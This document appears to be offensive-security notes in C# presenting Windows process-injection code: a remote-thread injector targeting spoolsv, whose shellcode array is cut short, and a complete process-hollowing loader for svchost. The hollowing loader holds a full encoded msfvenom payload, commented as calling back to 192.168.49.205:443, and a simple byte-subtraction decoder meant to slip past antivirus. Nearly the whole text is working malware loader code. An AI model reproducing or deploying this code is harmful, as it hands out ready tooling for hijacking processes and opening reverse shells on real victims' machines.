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Inject New Thread Into Process - EXE
// This program will inject the msfvenom shellcode into an existing process as a thread and execute it. Requires bin executable to be written to disk.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcesss, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
static void Main(string[] args)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
return;
}
// bin-Helper output (192.168.49.205:443; x64)
byte[] buf = new byte[799] {
0x01, ... };
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 5) & 0xFF);
}
int size = buf.Length;
Process[] expProc = Process.GetProcessesByName("spoolsv"); // set target process here
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Inject New Thread Into Process - DLL
Process Hollowing - EXE
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace Hollow
{
class Program
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen,
ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
static void Main(string[] args)
{
// instantiate and supply objects to CreateProcess
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
// call ZwQueryInformationProcess and fetch address of the PEB
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
// invokes REadProcessMemory to fetch address of code base
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
// calls ReadProcessMemory again with buf size of 0x200 to parse the PE header to locate the EntryPoint
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
// parses the PE header by reading content at offset 0x3C and using that as second offset from 0x28
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
// writes shellcode into memory, overwriting existing code
// bin-Helper output (192.168.49.205:443; x64)
byte[] buf = new byte[799] { 0x49, 0x95, 0xd0, 0x31, 0x3d, 0x35, 0x19, 0x4d, 0x4d, 0x4d, 0x8e, 0x9e, 0x8e, 0x9d, 0x9f, 0x9e, 0x95, 0x7e, 0x1f, 0xb2, 0x95, 0xd8, 0x9f, 0xad, 0xa3, 0x95, 0xd8, 0x9f, 0x65, 0x95, 0xd8, 0x9f, 0x6d, 0x95, 0xd8, 0xbf, 0x9d, 0x9a, 0x7e, 0x16, 0x95, 0x5c, 0x04, 0x97, 0x97, 0x95, 0x7e, 0x0d, 0xf9, 0x89, 0xae, 0xc9, 0x4f, 0x79, 0x6d, 0x8e, 0x0e, 0x16, 0x5a, 0x8e, 0x4e, 0x0e, 0x2f, 0x3a, 0x9f, 0x8e, 0x9e, 0x95, 0xd8, 0x9f, 0x6d, 0xd8, 0x8f, 0x89, 0x95, 0x4e, 0x1d, 0xb3, 0xce, 0xc5, 0x65, 0x58, 0x4f, 0x5c, 0xd2, 0xbf, 0x4d, 0x4d, 0x4d, 0xd8, 0xcd, 0xd5, 0x4d, 0x4d, 0x4d, 0x95, 0xd2, 0x0d, 0xc1, 0xb4, 0x95, 0x4e, 0x1d, 0x9d, 0xd8, 0x95, 0x65, 0x91, 0xd8, 0x8d, 0x6d, 0x96, 0x4e, 0x1d, 0x30, 0xa3, 0x95, 0x4c, 0x16, 0x8e, 0xd8, 0x81, 0xd5, 0x95, 0x4e, 0x23, 0x9a, 0x7e, 0x16, 0x95, 0x7e, 0x0d, 0xf9, 0x8e, 0x0e, 0x16, 0x5a, 0x8e, 0x4e, 0x0e, 0x85, 0x2d, 0xc2, 0x3e, 0x99, 0x50, 0x99, 0x71, 0x55, 0x92, 0x86, 0x1e, 0xc2, 0x25, 0xa5, 0x91, 0xd8, 0x8d, 0x71, 0x96, 0x4e, 0x1d, 0xb3, 0x8e, 0xd8, 0x59, 0x95, 0x91, 0xd8, 0x8d, 0x69, 0x96, 0x4e, 0x1d, 0x8e, 0xd8, 0x51, 0xd5, 0x8e, 0xa5, 0x8e, 0xa5, 0xab, 0x95, 0x4e, 0x1d, 0xa6, 0xa7, 0x8e, 0xa5, 0x8e, 0xa6, 0x8e, 0xa7, 0x95, 0xd0, 0x39, 0x6d, 0x8e, 0x9f, 0x4c, 0x2d, 0xa5, 0x8e, 0xa6, 0xa7, 0x95, 0xd8, 0x5f, 0x36, 0x98, 0x4c, 0x4c, 0x4c, 0xaa, 0x95, 0x7e, 0x28, 0xa0, 0x96, 0x0b, 0xc4, 0xb6, 0xbb, 0xb6, 0xbb, 0xb2, 0xc1, 0x4d, 0x8e, 0xa3, 0x95, 0xd6, 0x2e, 0x96, 0x14, 0x0f, 0x99, 0xc4, 0x73, 0x54, 0x4c, 0x22, 0xa0, 0xa0, 0x95, 0xd6, 0x2e, 0xa0, 0xa7, 0x9a, 0x7e, 0x0d, 0x9a, 0x7e, 0x16, 0xa0, 0xa0, 0x96, 0x07, 0x87, 0xa3, 0xc6, 0xf4, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x35, 0x5c, 0x4d, 0x4d, 0x4d, 0x7e, 0x86, 0x7f, 0x7b, 0x7e, 0x83, 0x85, 0x7b, 0x81, 0x86, 0x7b, 0x7f, 0x7d, 0x82, 0x4d, 0xa7, 0x95, 0xd6, 0x0e, 0x96, 0x14, 0x0d, 0x08, 0x4e, 0x4d, 0x4d, 0x9a, 0x7e, 0x16, 0xa0, 0xa0, 0xb7, 0x50, 0xa0, 0x96, 0x07, 0xa4, 0xd6, 0xec, 0x13, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x35, 0x41, 0x4d, 0x4d, 0x4d, 0x7c, 0xb5, 0x95, 0xba, 0xb8, 0x97, 0x94, 0x93, 0x9d, 0x91, 0xb4, 0xa5, 0xbb, 0xb4, 0xc2, 0xae, 0x8e, 0xb5, 0xa3, 0x80, 0x7a, 0xa0, 0xc4, 0x91, 0xac, 0xc5, 0xb2, 0xaf, 0xc5, 0xa3, 0xae, 0x7e, 0xc6, 0xc7, 0x7d, 0xac, 0x8e, 0xb3, 0xc5, 0x9e, 0xb8, 0xa5, 0xba, 0x98, 0xa7, 0x97, 0xa7, 0x85, 0xba, 0x9c, 0x95, 0xb8, 0xa2, 0x94, 0x8e, 0x92, 0xb8, 0x97, 0x82, 0x8e, 0xc1, 0xbb, 0x8f, 0x92, 0xae, 0x7e, 0xa4, 0xa4, 0xa4, 0xa4, 0xb3, 0x92, 0xac, 0x9b, 0x9a, 0x9a, 0x97, 0xb0, 0xc2, 0x98, 0xbe, 0xc0, 0x96, 0x84, 0x84, 0xc2, 0xc6, 0xbc, 0xc6, 0xac, 0xac, 0xa2, 0xc4, 0x97, 0xc0, 0x84, 0xc5, 0xc3, 0xb3, 0x82, 0x9c, 0x9e, 0xb2, 0x91, 0xa2, 0xa2, 0xa5, 0xb4, 0x86, 0xb9, 0xbc, 0x82, 0x9b, 0x9e, 0x84, 0x82, 0xb0, 0xb3, 0x98, 0xac, 0x8f, 0xc4, 0x9a, 0xb0, 0x80, 0x96, 0x8f, 0x97, 0xa6, 0xac, 0x9e, 0xc6, 0x9c, 0x9f, 0x99, 0xb6, 0xc7, 0xb0, 0x80, 0xac, 0xb8, 0xa7, 0xb2, 0xba, 0x9b, 0x7f, 0xa6, 0xaf, 0xa1, 0xa3, 0xae, 0xbe, 0x95, 0xa5, 0x97, 0xbb, 0x85, 0xb4, 0xbc, 0xa2, 0x85, 0xa1, 0xb0, 0xa2, 0x7d, 0xc2, 0xa6, 0x7f, 0xb1, 0x9c, 0x9f, 0x8f, 0x7e, 0x96, 0x99, 0x8f, 0xb9, 0xc6, 0xb1, 0x8e, 0x92, 0xb8, 0x93, 0xb7, 0x90, 0xa1, 0xb3, 0x9e, 0xaf, 0x86, 0xc5, 0xc4, 0x96, 0x7f, 0x9c, 0x95, 0x9c, 0x84, 0x7a, 0xb5, 0xb4, 0xae, 0xc3, 0x86, 0x9d, 0x9e, 0xc2, 0xae, 0x7d, 0xa4, 0xa3, 0xba, 0x86, 0xc3, 0x7f, 0x90, 0xc3, 0x9a, 0xa7, 0x97, 0x9f, 0x8f, 0xc7, 0x99, 0xa3, 0xb7, 0x93, 0x83, 0xb2, 0x95, 0xa4, 0x99, 0x9d, 0x7d, 0xbe, 0x96, 0xa1, 0x96, 0xa5, 0x7e, 0xb7, 0x80, 0xc2, 0x4d, 0x95, 0xd6, 0x0e, 0xa0, 0xa7, 0x8e, 0xa5, 0x9a, 0x7e, 0x16, 0xa0, 0x95, 0x05, 0x4d, 0x7f, 0xf5, 0xd1, 0x4d, 0x4d, 0x4d, 0x4d, 0x9d, 0xa0, 0xa0, 0x96, 0x14, 0x0f, 0x38, 0xa2, 0x7b, 0x88, 0x4c, 0x22, 0x95, 0xd6, 0x13, 0xb7, 0x57, 0xac, 0x95, 0xd6, 0x3e, 0xb7, 0x6c, 0xa7, 0x9f, 0xb5, 0xcd, 0x80, 0x4d, 0x4d, 0x96, 0xd6, 0x2d, 0xb7, 0x51, 0x8e, 0xa6, 0x96, 0x07, 0xc2, 0x93, 0xeb, 0xd3, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x9a, 0x7e, 0x0d, 0xa0, 0xa7, 0x95, 0xd6, 0x3e, 0x9a, 0x7e, 0x16, 0x9a, 0x7e, 0x16, 0xa0, 0xa0, 0x96, 0x14, 0x0f, 0x7a, 0x53, 0x65, 0xc8, 0x4c, 0x22, 0xd2, 0x0d, 0xc2, 0x6c, 0x95, 0x14, 0x0e, 0xd5, 0x60, 0x4d, 0x4d, 0x96, 0x07, 0x91, 0x3d, 0x82, 0x2d, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x95, 0x4c, 0x1c, 0xc1, 0x4f, 0x38, 0xf7, 0x35, 0xa2, 0x4d, 0x4d, 0x4d, 0xa0, 0xa6, 0xb7, 0x8d, 0xa7, 0x96, 0xd6, 0x1e, 0x0e, 0x2f, 0x5d, 0x96, 0x14, 0x0d, 0x4d, 0x5d, 0x4d, 0x4d, 0x96, 0x07, 0xa5, 0xf1, 0xa0, 0x32, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x95, 0xe0, 0xa0, 0xa0, 0x95, 0xd6, 0x34, 0x95, 0xd6, 0x3e, 0x95, 0xd6, 0x27, 0x96, 0x14, 0x0d, 0x4d, 0x6d, 0x4d, 0x4d, 0x96, 0xd6, 0x46, 0x96, 0x07, 0x5f, 0xe3, 0xd6, 0x2f, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x95, 0xd0, 0x11, 0x6d, 0xd2, 0x0d, 0xc1, 0xff, 0xb3, 0xd8, 0x54, 0x95, 0x4e, 0x10, 0xd2, 0x0d, 0xc2, 0x1f, 0xa5, 0x10, 0xa5, 0xb7, 0x4d, 0xa6, 0x08, 0x2d, 0x6a, 0x77, 0x57, 0x8e, 0xd6, 0x27, 0x4c, 0x22 };
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 77) & 0xFF);
}
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
// executes shellcode by resuming the suspended thread of the remote process.
ResumeThread(pi.hThread);
}
}
}